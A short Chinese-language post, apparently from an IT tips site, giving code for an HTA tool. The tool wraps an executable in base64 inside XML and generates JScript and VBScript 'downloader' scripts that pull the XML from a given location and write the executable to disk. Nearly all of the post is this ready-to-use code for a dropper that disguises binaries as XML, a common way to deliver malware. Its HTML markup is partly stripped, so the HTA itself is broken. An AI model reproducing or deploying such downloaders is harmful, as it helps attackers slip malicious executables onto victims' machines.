以下代码保存成hta文件,可生成js和vbs下载者
代码如下:
ID="xmldown" Caption="yes" SCROLL="auto" border="none" borderStyle="static" SINGLEINSTANCE="yes" maximizebutton="no" BORDER="no" icon="dxdiag.exe"> Sub Window_onLoad window.resizeTo screen.width/1.6,screen.height/3 window.moveTo 200,200 End Sub Sub CreateXml(path,File) Set objStream = CreateObject("ADODB.Stream") objStream.Type = 1 objStream.Open() objStream.LoadFromFile(Path) objStream.position = 0 Set XmlDoc = CreateObject("Microsoft.XMLDOM") XmlDoc.async = False Set Root = XmlDoc.createProcessingInstruction("xml", "version='1.0' encoding='UTF-8'") XmlDoc.appendChild(Root) XmlDoc.appendChild(XmlDoc.CreateElement("root")) Set Xfile = XmlDoc.SelectSingleNode("//root").AppendChild(XmlDoc.CreateElement("file")) Set Xstream = Xfile.AppendChild(XmlDoc.CreateElement("stream")) Xstream.SetAttribute "xmlns:dt", "urn:schemas-microsoft-com:datatypes" Xstream.dataType = "bin.base64" Xstream.nodeTypedValue = objStream.Read() XmlDoc.Save(File) Set XmlDoc = Nothing Set Root = Nothing Set objStream=Nothing End Sub Function x(obj) Set x=document.getElementById(obj) End function Function Findfile(str) Set FSO = CreateObject("Scripting.FileSystemObject") If FSO.FileExists(str) Then findfile=true Else findfile=false End If End Function Function jsdown() Set FSO = CreateObject("Scripting.FileSystemObject") with fso.opentextfile((CreateObject("WScript.Shell")).CurrentDirectory&"\jsdown.js",2,true) .write x("jsdown").value end with end function Function vbsdown() Set FSO = CreateObject("Scripting.FileSystemObject") with fso.opentextfile((CreateObject("WScript.Shell")).CurrentDirectory&"\vbsdown.vbs",2,true) .write x("vbsdown").value end with end function
选择下载的exe文件:
保存路径
var objArgs = WScript.Arguments;
var objXmlFile =new ActiveXObject("Microsoft.XMLDOM");
objXmlFile.async=false;
objXmlFile.load(objArgs(0).toLowerCase());
do
{
WScript.sleep(100);
}
while (!objXmlFile.readyState == 4)
if (objXmlFile.readyState == 4)
{
var objStream = new ActiveXObject("ADODB.Stream")
var objNodeList =objXmlFile.getElementsByTagName("stream")[0].nodeTypedValue
with(objStream)
{
objStream.Type = 1;
objStream.Open();
objStream.Write(objNodeList);
objStream.SaveToFile(objArgs(1).toLowerCase(),2);
objStream.close();
}
}
delete objXmlFile;
delete objStream;
Set objXmlFile = CreateObject("Microsoft.XMLDOM")
objXmlFile.async=false
objXmlFile.load(Wscript.arguments(0))
Do While objXmlFile.readyState<>4
wscript.sleep 100
Loop
If objXmlFile.readyState = 4 Then
Set objNodeList = objXmlFile.documentElement.selectNodes("//file/stream")
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
.Write objNodeList(0).nodeTypedvalue
.SaveToFile Wscript.arguments(1), 2
.Close
End With
Set objStream = Nothing
End If
Set objXmlFile = Nothing
更多信息请查看IT技术专栏